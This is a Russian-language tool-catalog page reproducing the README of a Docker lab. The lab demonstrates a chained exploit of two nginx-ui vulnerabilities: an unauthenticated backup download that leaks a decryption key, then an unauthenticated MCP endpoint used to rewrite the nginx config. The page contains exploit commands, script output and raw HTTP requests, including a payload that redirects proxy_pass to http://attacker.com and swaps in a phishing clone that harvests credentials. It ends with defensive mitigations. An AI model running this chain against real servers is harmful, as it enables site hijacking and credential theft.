Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33032-nginx-ui-vuln-lab — Docker Compose настройка для демонстрации уязвимости отсутствия аутентификации в nginx-ui | Kitploit
Инструменты/GitHubGitHub/shreda/cve-2026-33032-nginx-ui-vuln-lab
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingЛаборатории и Практика
GitHubshreda/cve-2026-33032-nginx-ui-vuln-lab

CVE-2026-33032-nginx-ui-vuln-lab

Docker Compose настройка для демонстрации уязвимости отсутствия аутентификации в nginx-ui

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-27944 + CVE-2026-33032 — Лаборатория RCE без учётных данных для nginx-ui

Предупреждение: Этот репозиторий предназначен исключительно для образовательных целей и авторизованных исследований в области безопасности. Все продемонстрированные здесь методы должны применяться только к системам, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Авторы не несут ответственности за неправомерное использование. Не запускайте это против любой системы без авторизации.

Автономная лаборатория на Docker Compose, демонстрирующая цепочку из двух CVE против nginx-ui v2.3.1, которая обеспечивает полный захват nginx без каких-либо предварительных знаний — без имён пользователей, паролей и токенов.


Цепочка уязвимостей

CVE-2026-27944 — Неаутентифицированная резервная конечная точка + раскрытие ключа

GET /api/backup не требует аутентификации. Конечная точка возвращает полную зашифрованную резервную копию установки nginx-ui — включая app.ini — и отправляет ключ дешифрования AES-256-CBC и IV в открытом виде в заголовке ответа:

root@kitploit:~
X-Backup-Security: <base64_key>:<base64_iv>

Из исходного кода (api/backup/router.go):

root@kitploit:~
r.GET("/backup", CreateBackup)   // ❌ нет middleware
r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)

Расшифровка резервной копии даёт app.ini, который содержит [node] Secret, необходимый для шага 2.

CVECVE-2026-27944 (GHSA-g9w5-qffc-6762)
CVSS9.8 Критический
Затронутоnginx-ui < 2.3.2
Исправлено вnginx-ui 2.3.3

CVE-2026-33032 «MCPwn» — Неаутентифицированный обработчик MCP-сообщений

nginx-ui v2.3.x добавил интерфейс Model Context Protocol (MCP), предоставляющий 12 инструментов управления nginx. Ошибка заключается в одном пропущенном вызове middleware в mcp/router.go:

root@kitploit:~
r.Any("/mcp",         middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...)   // ❌ ОТСУТСТВУЕТ AuthRequired()

Имея sessionId, полученный через секрет узла, злоумышленник может отправить POST на /mcp_message без учётных данных пользователя и вызвать любой привилегированный инструмент — включая nginx_config_modify и reload_nginx.

CVECVE-2026-33032
ПсевдонимMCPwn (Pluto Security)
CVSS9.8 Критический
Затронутоnginx-ui ≤ 2.3.3
Исправлено вnginx-ui 2.3.4

Архитектура лаборатории

root@kitploit:~
┌──────────────────────────────────────────────────────────┐
│  Браузер                                                  │
│  http://localhost:8080  ──►  nginx_ui (:80)              │
│                                    │                     │
│  Злоумышленник                     ▼                     │
│  http://localhost:9000  ──►  nginx_ui (:9000) УЯЗВИМЫЙ   │
│  (без учётных данных)      uozi/nginx-ui:v2.3.1          │
│                                                          │
│              ┌─────────────────────────┐                 │
│              │  webapp (зелёный)        │  легитимная    │
│              │  proxy_pass по умолч.    │  форма входа   │
│              └─────────────────────────┘                 │
│              ┌─────────────────────────┐                 │
│              │  malicious_site (красн.) │  фишинг-клон   │
│              │  proxy_pass после атаки  │  собирает креды │
│              └─────────────────────────┘                 │
└──────────────────────────────────────────────────────────┘

nginx-ui включает собственный экземпляр nginx. Когда эксплойт вызывает reload_nginx через MCP, он перезагружает тот же nginx, обслуживающий трафик на :8080 — доступ к хосту не требуется.


Быстрый старт

Требования: Docker + Docker Compose + Python 3.10+

root@kitploit:~
git clone <repo-url>
cd nginx-ui-vuln-lab
docker compose up -d
URL
http://localhost:8080Сайт жертвы — зелёный (легитимный)
http://localhost:9000Панель администратора nginx-ui

Запуск эксплойта

root@kitploit:~
pip install -r exploit/requirements.txt

python3 exploit/exploit.py --url http://localhost:9000

Скрипт объединяет обе CVE без предварительных учётных данных:

root@kitploit:~
==============================================================
  CVE-2026-27944 + CVE-2026-33032  —  nginx-ui Zero-Cred RCE
  Цель : http://localhost:9000
==============================================================

[*] CVE-2026-27944 — загрузка резервной копии (без аутентификации)
[+] Ключ AES+IV из заголовка: kW3pCR7RLawHFVeF...:oTr+K3Bd...
[+] Секрет узла извлечён: 605f228e-2480-49ec-8dd2-045d8d8a073f

[*] CVE-2026-33032 — открытие неаутентифицированной MCP-сессии (GET /mcp)
[+] sessionId: ee83906e-ee26-4d65-83f8-91d62b00770a

[*] Разведка — чтение текущей конфигурации
[+] Текущая: proxy_pass http://webapp:80;

[*] Перезапись default.conf через POST /mcp_message (без аутентификации)
[+] Новая:     proxy_pass http://malicious_site:80;

[*] Перезагрузка nginx через POST /mcp_message (без аутентификации)
[+] nginx перезагружен — конфигурация активна

[!] Атака завершена.
    Жертвы на http://localhost:8080/ теперь получают фишинговую страницу.
    Просмотр перехваченных учётных данных: http://localhost:8080/?debug=1

После эксплойта http://localhost:8080 переключается с зелёной легитимной страницы на красный фишинг-клон — по тому же URL, без каких-либо признаков для жертвы.

Откройте http://localhost:8080/?debug=1, чтобы увидеть панель злоумышленника и учётные данные, перехватываемые в реальном времени.

Сброс

root@kitploit:~
python3 exploit/exploit.py --url http://localhost:9000 --reset

Использует ту же цепочку CVE для восстановления исходной конфигурации и перезагрузки nginx.


Как это работает

Этап 1 — Извлечение секрета узла (CVE-2026-27944)

root@kitploit:~
GET /api/backup HTTP/1.1
Host: target:9000

Ответ:

root@kitploit:~
HTTP/1.1 200 OK
X-Backup-Security: <base64_key>:<base64_iv>
Content-Type: application/zip

Расшифруйте zip с помощью предоставленных ключа/IV → извлеките app.ini → прочитайте [node] Secret.

Этап 2 — Захват nginx (CVE-2026-33032)

Запрос 1 — Открытие SSE-сессии (секрет узла, без аутентификации пользователя):

root@kitploit:~
GET /mcp?node_secret=<uuid>

SSE-поток отвечает sessionId.

Запрос 2+ — Вызов инструментов (вообще без аутентификации):

root@kitploit:~
POST /mcp_message?sessionId=<uuid>
Content-Type: application/json

{
  "jsonrpc": "2.0", "id": 1, "method": "tools/call",
  "params": {
    "name": "nginx_config_modify",
    "arguments": {
      "relative_path": "default.conf",
      "content": "server { location / { proxy_pass http://attacker.com; } }",
      "sync_overwrite": false
    }
  }
}

Нет заголовка Authorization. Нет cookie. AuthRequired() просто отсутствует в маршруте /mcp_message.


Доступные MCP-инструменты (все доступны без аутентификации)

ИнструментВоздействие
nginx_config_modifyПерезапись любого файла конфигурации
nginx_config_addСоздание новых файлов конфигурации
nginx_config_getЧтение любого файла конфигурации
nginx_config_listСписок всех конфигураций
nginx_config_enable/disableВключение/отключение конфигураций сайтов
nginx_config_renameПеремещение/переименование файлов конфигурации
nginx_config_mkdirСоздание каталогов
nginx_config_historyПросмотр истории изменений
nginx_config_base_pathРаскрытие корневого пути конфигурации
nginx_statusПроверка статуса nginx
reload_nginxПрименение изменений конфигурации на лету
restart_nginxПолный перезапуск nginx

Защита

  • Патч — обновитесь до nginx-ui ≥ 2.3.4
  • Сетевая изоляция — никогда не открывайте nginx-ui для ненадёжных сетей; размещайте его за VPN или межсетевым экраном
  • Белый список IP — задайте непустой [node] IPWhiteList в app.ini, чтобы ограничить доступ к MCP конкретными IP-адресами
  • MFA — включите многофакторную аутентификацию для учётной записи администратора
  • FIM — отслеживайте /etc/nginx/conf.d/ с помощью мониторинга целостности файлов (auditd, Wazuh и т. д.)
Скачать инструмент